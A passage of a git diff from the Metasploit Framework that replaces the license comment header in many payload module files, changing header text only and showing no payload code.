requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x86/exec.rb b/modules/payloads/singles/osx/x86/exec.rb index 437f7cea91..becaa22176 100644 --- a/modules/payloads/singles/osx/x86/exec.rb +++ b/modules/payloads/singles/osx/x86/exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x86/shell_bind_tcp.rb b/modules/payloads/singles/osx/x86/shell_bind_tcp.rb index 3a862d00ce..c2c6d64d80 100644 --- a/modules/payloads/singles/osx/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/osx/x86/shell_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/osx/x86/shell_find_port.rb b/modules/payloads/singles/osx/x86/shell_find_port.rb index 2d044d4334..a82e5be563 100644 --- a/modules/payloads/singles/osx/x86/shell_find_port.rb +++ b/modules/payloads/singles/osx/x86/shell_find_port.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb b/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb index fa39f2948b..a3c85b680f 100644 --- a/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb b/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb index a001c10935..f620478077 100644 --- a/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb +++ b/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb b/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb index e4aa339f11..fed5f2f815 100644 --- a/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/php/bind_perl.rb b/modules/payloads/singles/php/bind_perl.rb index b9143d8aaf..b5256c16d9 100644 --- a/modules/payloads/singles/php/bind_perl.rb +++ b/modules/payloads/singles/php/bind_perl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/php/bind_perl_ipv6.rb b/modules/payloads/singles/php/bind_perl_ipv6.rb index 73cd4a53e1..f6bca827aa 100644 --- a/modules/payloads/singles/php/bind_perl_ipv6.rb +++ b/modules/payloads/singles/php/bind_perl_ipv6.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/php/bind_php.rb b/modules/payloads/singles/php/bind_php.rb index 56607f0868..0887f27d5d 100644 --- a/modules/payloads/singles/php/bind_php.rb +++ b/modules/payloads/singles/php/bind_php.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/php/bind_php_ipv6.rb b/modules/payloads/singles/php/bind_php_ipv6.rb index 5da5c681d3..5f268896ac 100644 --- a/modules/payloads/singles/php/bind_php_ipv6.rb +++ b/modules/payloads/singles/php/bind_php_ipv6.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/php/download_exec.rb b/modules/payloads/singles/php/download_exec.rb index f6b7dc4806..e2bfa8f6a3 100644 --- a/modules/payloads/singles/php/download_exec.rb +++ b/modules/payloads/singles/php/download_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/php/exec.rb b/modules/payloads/singles/php/exec.rb index fb4ffc3f1d..3b2007d3c5 100644 --- a/modules/payloads/singles/php/exec.rb +++ b/modules/payloads/singles/php/exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index 6c1e92ef95..80624e9388 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/php/reverse_perl.rb b/modules/payloads/singles/php/reverse_perl.rb index babba91f80..c9339b8806 100644 --- a/modules/payloads/singles/php/reverse_perl.rb +++ b/modules/payloads/singles/php/reverse_perl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/php/reverse_php.rb b/modules/payloads/singles/php/reverse_php.rb index 4c3d72c1f3..43abc81e7c 100644 --- a/modules/payloads/singles/php/reverse_php.rb +++ b/modules/payloads/singles/php/reverse_php.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/php/shell_findsock.rb b/modules/payloads/singles/php/shell_findsock.rb index cf1b057da5..0c86dc7f1a 100644 --- a/modules/payloads/singles/php/shell_findsock.rb +++ b/modules/payloads/singles/php/shell_findsock.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb index bdd3a992ca..7601be09ea 100644 --- a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/ruby/shell_bind_tcp.rb b/modules/payloads/singles/ruby/shell_bind_tcp.rb index e5aa783cc5..68f26ab8df 100644 --- a/modules/payloads/singles/ruby/shell_bind_tcp.rb +++ b/modules/payloads/singles/ruby/shell_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb b/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb index c8956781c1..8248f30a63 100644 --- a/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb +++ b/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp.rb b/modules/payloads/singles/ruby/shell_reverse_tcp.rb index bd49d9ceaf..f17c66994e 100644 --- a/modules/payloads/singles/ruby/shell_reverse_tcp.rb +++ b/modules/payloads/singles/ruby/shell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb index 2f62aceb36..307d0fc897 100644 --- a/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb b/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb index ce110a8c7b..b70d21a99a 100644 --- a/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb +++ b/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/solaris/sparc/shell_find_port.rb b/modules/payloads/singles/solaris/sparc/shell_find_port.rb index 0b3d27b051..76f3b089a5 100644 --- a/modules/payloads/singles/solaris/sparc/shell_find_port.rb +++ b/modules/payloads/singles/solaris/sparc/shell_find_port.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb b/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb index c1828c3361..4ecb02aded 100644 --- a/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb b/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb index 5d8adeecad..d90eb85a6f 100644 --- a/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/solaris/x86/shell_find_port.rb b/modules/payloads/singles/solaris/x86/shell_find_port.rb index 66179ccf9d..0fbde60b05 100644 --- a/modules/payloads/singles/solaris/x86/shell_find_port.rb +++ b/modules/payloads/singles/solaris/x86/shell_find_port.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb b/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb index ecf21ef52f..38990d00ab 100644 --- a/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/tty/unix/interact.rb b/modules/payloads/singles/tty/unix/interact.rb index 53a6005785..ade41d443a 100644 --- a/modules/payloads/singles/tty/unix/interact.rb +++ b/modules/payloads/singles/tty/unix/interact.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/adduser.rb b/modules/payloads/singles/windows/adduser.rb index 9bf3302699..7c1a49a6fd 100644 --- a/modules/payloads/singles/windows/adduser.rb +++ b/modules/payloads/singles/windows/adduser.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/dns_txt_query_exec.rb b/modules/payloads/singles/windows/dns_txt_query_exec.rb index ca4f9af238..6ad3619ae0 100644 --- a/modules/payloads/singles/windows/dns_txt_query_exec.rb +++ b/modules/payloads/singles/windows/dns_txt_query_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/payloads/singles/windows/download_exec.rb b/modules/payloads/singles/windows/download_exec.rb index 1949e472c8..bd3f088f97 100644 --- a/modules/payloads/singles/windows/download_exec.rb +++ b/modules/payloads/singles/windows/download_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/exec.rb b/modules/payloads/singles/windows/exec.rb index f55f08fbe7..421cfa24c3 100644 --- a/modules/payloads/singles/windows/exec.rb +++ b/modules/payloads/singles/windows/exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/windows/loadlibrary.rb b/modules/payloads/singles/windows/loadlibrary.rb index d3a92a92da..0fcf689a85 100644 --- a/modules/payloads/singles/windows/loadlibrary.rb +++ b/modules/payloads/singles/windows/loadlibrary.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/windows/messagebox.rb b/modules/payloads/singles/windows/messagebox.rb index e07a016274..b13df2c010 100644 --- a/modules/payloads/singles/windows/messagebox.rb +++ b/modules/payloads/singles/windows/messagebox.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/metsvc_bind_tcp.rb b/modules/payloads/singles/windows/metsvc_bind_tcp.rb index 103957b267..15f3f85e73 100644 --- a/modules/payloads/singles/windows/metsvc_bind_tcp.rb +++ b/modules/payloads/singles/windows/metsvc_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/metsvc_reverse_tcp.rb b/modules/payloads/singles/windows/metsvc_reverse_tcp.rb index 2b236f13b5..e0a7d883a3 100644 --- a/modules/payloads/singles/windows/metsvc_reverse_tcp.rb +++ b/modules/payloads/singles/windows/metsvc_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/shell_bind_tcp.rb b/modules/payloads/singles/windows/shell_bind_tcp.rb index 90a654bc3e..f99a254fba 100644 --- a/modules/payloads/singles/windows/shell_bind_tcp.rb +++ b/modules/payloads/singles/windows/shell_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb b/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb index 6829495f8a..a05617a8ad 100644 --- a/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb +++ b/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/windows/shell_reverse_tcp.rb b/modules/payloads/singles/windows/shell_reverse_tcp.rb index bada2a28e5..64390865a3 100644 --- a/modules/payloads/singles/windows/shell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/shell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/windows/speak_pwned.rb b/modules/payloads/singles/windows/speak_pwned.rb index 78fa4287ae..67a42850bf 100644 --- a/modules/payloads/singles/windows/speak_pwned.rb +++ b/modules/payloads/singles/windows/speak_pwned.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## =begin diff --git a/modules/payloads/singles/windows/x64/exec.rb b/modules/payloads/singles/windows/x64/exec.rb index 004f7915aa..14cd7f4c0a 100644 --- a/modules/payloads/singles/windows/x64/exec.rb +++ b/modules/payloads/singles/windows/x64/exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/x64/loadlibrary.rb b/modules/payloads/singles/windows/x64/loadlibrary.rb index 841c490c23..8681c949ca 100644 --- a/modules/payloads/singles/windows/x64/loadlibrary.rb +++ b/modules/payloads/singles/windows/x64/loadlibrary.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/windows/x64/shell_bind_tcp.rb b/modules/payloads/singles/windows/x64/shell_bind_tcp.rb index f6b5b38037..6806102668 100644 --- a/modules/payloads/singles/windows/x64/shell_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/shell_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb b/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb index 6e0ae49ebf..e08b52473b 100644 --- a/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb index c9d8e47561..0f492bae0c 100644 --- a/modules/payloads/stagers/android/reverse_tcp.rb +++ b/modules/payloads/stagers/android/reverse_tcp.rb @@ -1,7 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # http://metasploit.com/ ## diff --git a/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb b/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb index 1a50c9a0e4..5b64591572 100644 --- a/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/bsd/x86/bind_tcp.rb b/modules/payloads/stagers/bsd/x86/bind_tcp.rb index d877d5d484..51535df801 100644 --- a/modules/payloads/stagers/bsd/x86/bind_tcp.rb +++ b/modules/payloads/stagers/bsd/x86/bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/bsd/x86/find_tag.rb b/modules/payloads/stagers/bsd/x86/find_tag.rb index d7f80f0c2c..511648131a 100644 --- a/modules/payloads/stagers/bsd/x86/find_tag.rb +++ b/modules/payloads/stagers/bsd/x86/find_tag.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb b/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb index 5aace3d175..75598d6ebe 100644 --- a/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb +++ b/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/bsd/x86/reverse_tcp.rb b/modules/payloads/stagers/bsd/x86/reverse_tcp.rb index ff8ed98cef..fee5d39a4b 100644 --- a/modules/payloads/stagers/bsd/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/bsd/x86/reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/bsdi/x86/bind_tcp.rb b/modules/payloads/stagers/bsdi/x86/bind_tcp.rb index d2714d039d..b3bd1bdeb8 100644 --- a/modules/payloads/stagers/bsdi/x86/bind_tcp.rb +++ b/modules/payloads/stagers/bsdi/x86/bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb b/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb index 9050be398f..cccbd789c8 100644 --- a/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/java/bind_tcp.rb b/modules/payloads/stagers/java/bind_tcp.rb index 5a6398fe78..307b327f4f 100644 --- a/modules/payloads/stagers/java/bind_tcp.rb +++ 